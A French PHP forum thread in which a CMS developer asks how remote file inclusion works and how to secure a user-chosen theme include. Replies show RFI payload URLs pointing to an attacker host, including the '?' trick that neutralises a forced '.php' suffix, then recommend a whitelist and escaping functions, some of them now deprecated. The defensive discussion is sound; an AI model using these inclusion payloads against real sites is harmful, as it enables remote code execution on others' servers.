IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

Includes, Securité et Comprehension


Sujet :

Langage PHP

  1. #1
    Membre habitué
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Points : 135
    Points
    135
    Par défaut Includes, Securité et Comprehension
    Bonjours à tous.

    Voila voila, depuis ces 3 derniers jours, je me tape la relecture de mon CMS afin d'en retrouver les failles principales.
    plusieurs points à voir (requetes, includes ....)

    En relisant quelques tutos sur la sécurité des includes, j'ai relus la faille sur les includes, mais cette fois, j'ai eu un tilt:

    On dit qu'il faut éviter:
    1) la directive allow_url_fopen à on
    2) d'utiliser des $variable passée en get ou en post dans l'include (exemple: includes ($_GET['theme'].'/index.php');

    Dans tout ces petits tutos de sécurité, on nous donnes des petits exemple du pourquoi du comment, comme par exemple:
    index.php?theme=http://hack.com/
    ce qui inclurais la page http://hack.com/index.php et donc exécuterais le script sur notre serveur.
    Cf: http://fz1.free.fr/hacking/tutos/faille_include.htm

    Bon tout ça c'est ok, mais ça me fais arriver à un autre point: l'inversse.
    Je m'explique: imaginons que ça soit le hacker qui incluse vos page...:
    include('http://monsiteamoipasauhacker.com/config.php');
    cela voudrait il dire que le hacker pourrait en retirer toutes les variable de configuration ??

    Au début je me suis dis "mais non, c'est pas possible la page dois être générée à l'avance, et c'est de l'html qui est inclue".
    Ouais mais si c'est le cas, alors include($_GET['theme'].'/index.php') ... c'est pas si grave ?

    J'aimerais bien qu'on m'explique SVP
    Merci d'avance

  2. #2
    Membre émérite
    Avatar de Seb33300
    Homme Profil pro
    Développeur Web
    Inscrit en
    Janvier 2007
    Messages
    1 564
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 38
    Localisation : Thaïlande

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2007
    Messages : 1 564
    Points : 2 399
    Points
    2 399
    Par défaut
    Non, le hacker ne pourra pas récupérer tes variables.

    En fait pour exploiter cette faille, il faut que le fichier que tu inclus soit hébergé sur un serveur qui ne va pas exécuté le code du fichier mais renvoyer le code tel quel tant que texte.

    En général ce sont directement des fichiers .txt qui sont passé dans l'url.

    Et pour éviter le problème du .php qui est rajouté, ils placent un "?" :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    includes ($_GET['fichier'].'.php');
    Si on appel l'url http.../index.php?fichier=url_du_hack.txt?

    l'include va appeler l'url http.../index.php?fichier=url_du_hack.txt?.php et le .php sera ignoré.
    Par contre le texte récupéré dans le .txt sera exécuté en tant que code php !

  3. #3
    FoxLeRenard
    Invité(e)
    Par défaut
    Citation Envoyé par xxkirastarothxx Voir le message
    Bonjours à tous.

    Au début je me suis dis "mais non, c'est pas possible la page dois être générée à l'avance, et c'est de l'html qui est inclue".
    Ouais mais si c'est le cas, alors include($_GET['theme'].'/index.php') ... c'est pas si grave ?
    J'aimerais bien qu'on m'explique SVP
    Merci d'avance
    Bon, il faut éviter de ne voir que des trous dans son site web,
    en respectant des régles simples cela suffit pour bien sécurisé 99 % des bricoleurs ! Les1% restant comme je l'ais déjas écris, n'ont pas envie de perdre du temps sur nos sites

    Ceci étant dit, gardes a l'esprit que PHP est plein de trous, dont le plus gros est la panne du serveur. Par exemple si Apache plante, tous les fichiers seront proposés en téélchargement

    Mais bon il y a des parades , mais pour en revenir aux includes imagines
    que venant d'un GET, sans controle je fais rentrer ce que je veux, comme l'explique Seb33300

  4. #4
    Membre émérite
    Avatar de Seb33300
    Homme Profil pro
    Développeur Web
    Inscrit en
    Janvier 2007
    Messages
    1 564
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 38
    Localisation : Thaïlande

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2007
    Messages : 1 564
    Points : 2 399
    Points
    2 399
    Par défaut
    Citation Envoyé par xxkirastarothxx Voir le message
    Au début je me suis dis "mais non, c'est pas possible la page dois être générée à l'avance, et c'est de l'html qui est inclue".
    Ouais mais si c'est le cas, alors include($_GET['theme'].'/index.php') ... c'est pas si grave ?
    Je n'avais pas vu cette partie de ton post.

    Mais comme j'ais expliqué plus haut, cet include peut etre tres simplement exploité.

    Avec cette url :
    http.../index.php?theme=url_du_hack.txt?

    L'include va chercher à inclure http.../index.php?theme=url_du_hack.txt?/index.php et grace au "?" /index.php sera ignoré

  5. #5
    Membre habitué
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Points : 135
    Points
    135
    Par défaut
    Merci pour ces explications je comprends mieux.
    Mais alors, je prends pour exemple une variable qui permet de choisir un thème, que mètre pour protéger la variable utilisée si on laisse l'utilisateur choisir ? (sinon je peux tout aussi bien faire une requête sql sur ma table thème, stoquée les réponses dans un array et passer par un if_array, mais y aurait-il plus simple ?)
    je suppose que des addslashes et des htmlspecialschars ne suffisent pas ?
    Une Regex ?
    auriez vous un exemple ?

    Citation Envoyé par FoxLeRenard
    Bon, il faut éviter de ne voir que des trous dans son site web
    Oui je sais, je suis pas maniaque en général, mais là, comme je le disais, il s'agit d'un CMS, qui, avec de la chance, pourra servir à créer des dizaines, des centaines voir même des milliers de sites, qui sait ^^

    Surtout, ça fait déjà deux ans que je suis solo sur ce projet, donc j'aimerai faire ça bien bien

  6. #6
    Membre habitué
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Points : 135
    Points
    135
    Par défaut
    Bah voila j'ai fais ça:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    function secure_get($var)
    {
    	if(!preg_match('#^[0-9A-Za-z-_]*$#',$var))
    	return false;
    	else
    	return mysql_real_escape_string(htmlspecialchars($var));
    }
    cela vous parait il suffisant pour protéger les variables en get incluent dans un include/require?

  7. #7
    Membre émérite
    Avatar de Seb33300
    Homme Profil pro
    Développeur Web
    Inscrit en
    Janvier 2007
    Messages
    1 564
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 38
    Localisation : Thaïlande

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2007
    Messages : 1 564
    Points : 2 399
    Points
    2 399
    Par défaut
    Si tu laisse l'utilisateur choisir un thème.

    Tu dois donc pouvoir connaitre la liste des thèmes que l'utilisateur peut choisir ?

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    // La liste de tes thèmes
    $liste_themes = array("theme1", "theme2", "theme3", ...);
     
    // On vérifie que le thème est ok sinon on met le thème par défaut
    if(in_array($_GET['theme'], $liste_themes)){
    	include($_GET['theme'].'/index.php')
    }else{
    	include('theme_par_defaut/index.php')
    }
    De cette manière tu est sur que ce qui sera dans le $_GET ne pourra pas faire foirer ton include.

  8. #8
    Membre habitué
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Points : 135
    Points
    135
    Par défaut
    Citation Envoyé par xxkirastarothxx Voir le message
    (sinon je peux tout aussi bien faire une requête sql sur ma table thème, stoquée les réponses dans un array et passer par un if_array, mais y aurait-il plus simple ?)
    =)

    Mais ouais ça dois surement être la meilleur solution, mais j'aurais voulus faire une fonction "bateau" que j'aurais pu passer sur toutes mes variables qui passe en includes.

    Enfin c'est pas si important

  9. #9
    Membre expérimenté

    Homme Profil pro
    Inscrit en
    Janvier 2004
    Messages
    1 249
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Secteur : Finance

    Informations forums :
    Inscription : Janvier 2004
    Messages : 1 249
    Points : 1 565
    Points
    1 565
    Par défaut
    Tu veux tester la sécurité de ton site... ok

    essaye de mettre cette chaine de caractere dans TOUT les champs de TOUT tes formulaires (y compris le formulaire de login, les formulaires d'editions/modification, d'ajout et de recherche si tu en as) :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    a'a"a/a\a$a`a`a$aàa<b>a</b>a<br>a
    Si l'affichage reste propre, si la chaine est traitée correctement partout, alors ton site est plus sécurisé que 90% des sites existants sur la toile...

    Sinon, faut revoir ta copie (et personnellement, ton exemple de mysql_real_escape_string(htmlspecialchars($var)); me laisse penser que tu ne sais pas exactement quelle fonction appeler pour filtrer tes entrées... du coup tu les appelle toutes en espérant que la bonne soit dans le lot !)

  10. #10
    Membre habitué
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Points : 135
    Points
    135
    Par défaut
    Ah je vais essayer ça

    Citation Envoyé par Fladnag
    et personnellement, ton exemple de mysql_real_escape_string(htmlspecialchars($var)); me laisse penser que tu ne sais pas exactement quelle fonction appeler pour filtrer tes entrées... du coup tu les appelle toutes en espérant que la bonne soit dans le lot !
    c'est partiellement vrai ^^
    Disons que je sais que mysql_real_escape_string sert à parser une chaine avant de l'insérer dans une requête sql, htmlspecialchars à parser une chaine avant l'affichage pour interdire les balises html.
    Mais il y a aussi du fait que je me suis dis qu'il fallait mieux en mètre trop que pas assez, et comme je le disais, je voulais une fonction un peut bateau.

    Bon allé je passe en résolu tout de même j'ai eu la réponse que j'attendais lors du post de mon sujet
    Merci encore à tous.

  11. #11
    Membre expérimenté

    Homme Profil pro
    Inscrit en
    Janvier 2004
    Messages
    1 249
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Secteur : Finance

    Informations forums :
    Inscription : Janvier 2004
    Messages : 1 249
    Points : 1 565
    Points
    1 565
    Par défaut
    oui, c'est bien ca ;o)

    Cependant, je ne te conseille pas de faire du htmlentities avant l'insertion en base car, pour moi, la base doit correspondre exactement a ce qu'a écrit l'utilisateur.

    Pour un forum par exemple, si tu met du htmlentities avant de l'envoyer en base, ca va fonctionner... par contre, quand tu voudra editer le message, tu va te retrouver avec plein d'entitées html non voulues... bon, maintenant il y a html_entity_decode... mais c'est super crado comme solution.

    Bref :
    * mysql_real_escape_string avant d'envoyer en base
    * htmlentities(..., ENT_QUOTES, $charset) avant d'afficher
    * (plus d'autres fonctions genre escapeshellarg() si tu utilise ``, system() ou eval())
    * (plus une gestion correcte de la directive magic_quotes_gpc)

  12. #12
    Membre habitué
    Inscrit en
    Mai 2008
    Messages
    317
    Détails du profil
    Informations forums :
    Inscription : Mai 2008
    Messages : 317
    Points : 135
    Points
    135
    Par défaut
    Citation Envoyé par Fladnag Voir le message
    bon, maintenant il y a html_entity_decode... mais c'est super crado comme solution.
    Et que penses tu de htmlspecialchats et htmlspecialchars_decode ?
    Edit: je retire cette question, j'avais jamais vu la différence entre htmlentities et htmlspecialchars ^^
    Ou Alors un mysql_real_escape_string(strip_tags($var)) quand on veux interdire l'utilisation de balise html, et un simple mysql_real_escape_string($var) seul si on laisse la possibilité a l'utilisateur d'utiliser le html ?

    Citation Envoyé par Fladnag Voir le message
    * (plus d'autres fonctions genre escapeshellarg() si tu utilise ``, system() ou eval())
    ça je connaissais pas, je vais aller voir, surtout que j'ai fais un script php qui permet d'exécuter des script/commandes shell (mais réservé à l'administrateur suprême, donc peu de risque)

    Citation Envoyé par Fladnag Voir le message
    * (plus une gestion correcte de la directive magic_quotes_gpc)
    bah un test voir si la fonction est active, si c'est le cas on rajoute un stripslashes() dans le mysql_real_escape_string() (pour une insertion sql) ?

    Pis une dernière pour la route, Addslashes est inutile lorsque l'on utilise mysql_real_escape_string() n'est-ce pas ?

  13. #13
    Membre expérimenté

    Homme Profil pro
    Inscrit en
    Janvier 2004
    Messages
    1 249
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Secteur : Finance

    Informations forums :
    Inscription : Janvier 2004
    Messages : 1 249
    Points : 1 565
    Points
    1 565
    Par défaut
    Citation Envoyé par xxkirastarothxx Voir le message
    Pis une dernière pour la route, Addslashes est inutile lorsque l'on utilise mysql_real_escape_string() n'est-ce pas ?
    oui

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [Sécurité] Session include
    Par Belegkarnil dans le forum Langage
    Réponses: 4
    Dernier message: 04/02/2006, 13h10
  2. Réponses: 4
    Dernier message: 30/11/2005, 19h13
  3. [Sécurité] Exécution des include()
    Par Thom@s dans le forum Langage
    Réponses: 7
    Dernier message: 21/11/2005, 15h20
  4. Réponses: 8
    Dernier message: 16/11/2005, 14h11
  5. [Sécurité] Execution des include() sous windows/Linux
    Par secteur_52 dans le forum Langage
    Réponses: 27
    Dernier message: 14/11/2005, 18h50

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo